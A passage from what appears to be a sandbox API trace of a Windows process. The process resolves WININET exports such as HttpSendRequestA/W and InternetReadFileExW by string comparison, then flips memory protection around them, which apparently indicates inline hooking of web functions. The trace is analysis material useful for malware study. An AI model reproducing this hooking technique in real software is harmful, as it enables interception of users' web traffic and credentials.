(lpString1="InternetLockRequestFile", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetOpenA", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetOpenUrlA", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetOpenUrlW", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetOpenW", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetQueryDataAvailable", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetQueryOptionA", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetQueryOptionW", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetReadFile", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetReadFileExA", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetReadFileExW", lpString2="InternetReadFileExW") returned 0 [0082.362] VirtualProtect (in: lpAddress=0x768e2a98, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x20) returned 1 [0082.362] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0082.362] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x274f4a8 [0082.362] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0082.362] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f4a8 | out: hHeap=0x2350000) returned 1 [0082.362] VirtualProtect (in: lpAddress=0x7699860f, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x20) returned 1 [0082.363] VirtualProtect (in: lpAddress=0x7699860f, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x40) returned 1 [0082.363] VirtualProtect (in: lpAddress=0x768e2a98, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x40) returned 1 [0082.363] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcc8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcc8, ReturnLength=0x0) returned 0x0 [0082.363] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0082.363] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e9f8 [0082.363] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="DispatchAPICall", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="DllInstall", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="ForceNexusLookup", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FtpCommandA", lpString2="HttpSendRequestA") returned -1 [0082.364] lstrcmpA (lpString1="FtpCommandW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpGetFileA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpGetFileEx", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpGetFileSize", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpGetFileW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpOpenFileA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpOpenFileW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpPutFileA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpPutFileEx", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpPutFileW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpRenameFileA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpRenameFileW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="HttpSendRequestA") returned -1 [0082.365] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="GopherOpenFileA", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="GopherOpenFileW", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="HttpEndRequestA", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="HttpEndRequestW", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="HttpSendRequestA") returned -1 [0082.366] lstrcmpA (lpString1="HttpSendRequestA", lpString2="HttpSendRequestA") returned 0 [0082.366] VirtualProtect (in: lpAddress=0x768e2980, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x20) returned 1 [0082.366] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0082.366] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x274f4a8 [0082.366] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0082.366] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f4a8 | out: hHeap=0x2350000) returned 1 [0082.366] VirtualProtect (in: lpAddress=0x76998614, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x20) returned 1 [0082.367] VirtualProtect (in: lpAddress=0x76998614, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x40) returned 1 [0082.367] VirtualProtect (in: lpAddress=0x768e2980, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x40) returned 1 [0082.367] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcc8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcc8, ReturnLength=0x0) returned 0x0 [0082.367] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0082.367] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ea30 [0082.367] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="HttpSendRequestW") returned -1 [0082.367] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="DispatchAPICall", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="DllInstall", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="ForceNexusLookup", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FtpCommandA", lpString2="HttpSendRequestW") returned -1 [0082.368] lstrcmpA (lpString1="FtpCommandW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpGetFileA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpGetFileEx", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpGetFileSize", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpGetFileW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpOpenFileA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpOpenFileW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpPutFileA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpPutFileEx", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpPutFileW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpRenameFileA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpRenameFileW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="HttpSendRequestW") returned -1 [0082.369] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="GopherOpenFileA", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="GopherOpenFileW", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="HttpEndRequestA", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="HttpEndRequestW", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="HttpSendRequestA", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="HttpSendRequestW") returned -1 [0082.370] lstrcmpA (lpString1="HttpSendRequestW", lpString2="HttpSendRequestW") returned 0 [0082.370] VirtualProtect (in: lpAddress=0x768e298c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x20) returned 1 [0082.370] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0082.370] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x274f4a8 [0082.370] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0082.370] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f4a8 | out: hHeap=0x2350000) returned 1 [0082.370] VirtualProtect (in: lpAddress=0x76998619, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x20) returned 1 [0082.371] VirtualProtect (in: lpAddress=0x76998619, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x40) returned 1 [0082.371] VirtualProtect (in: lpAddress=0x768e298c, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x40) returned 1 [0082.371] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcc8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcc8, ReturnLength=0x0) returned 0x0 [0082.371] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0082.371] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ea68 [0082.371] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="InternetQueryDataAvailable") returned -1 [0082.371] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="DispatchAPICall", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="DllInstall", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="ForceNexusLookup", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FtpCommandA", 